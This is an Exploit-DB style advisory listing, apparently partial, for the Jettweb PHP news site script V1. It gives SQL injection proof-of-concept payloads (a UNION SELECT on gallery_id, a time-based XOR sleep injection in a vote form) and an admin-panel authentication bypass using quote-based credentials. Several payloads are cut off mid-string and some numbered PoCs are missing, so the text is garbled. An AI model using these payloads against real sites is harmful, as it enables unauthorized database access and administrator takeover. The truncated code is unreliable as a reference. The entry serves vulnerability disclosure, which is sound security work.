Jettweb PHP Hazır Haber Sitesi Scripti V1 - SQL Injection

EDB-ID:
46597

CVE:
N/A

EDB Verified: ×

Author:
AHMET ÜMIT BAYRAM

Type:
WEBAPPS

Exploit: / {}

```
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V1 - Multiple
Vulnerabilities
# Date: 23.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-5-php-hazir-haber-sitesi-scripti-
v1.html
# Demo Site: http://haberv1.proemlaksitesi.net
# Version: V1
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gallery.php?gallery_id=1
Vulnerable Parameter: gallery_id (GET)
Payload: gallery_id=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x63565549564d5a424e57746d6
-
UsCA


----- PoC 2: SQLi -----
```



```
btnVote=G%C3%B6nder&option=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&pol


----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php
Username: '=' 'or'
Password: '=' 'or'
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link

Databases

Links

Sites

Solutions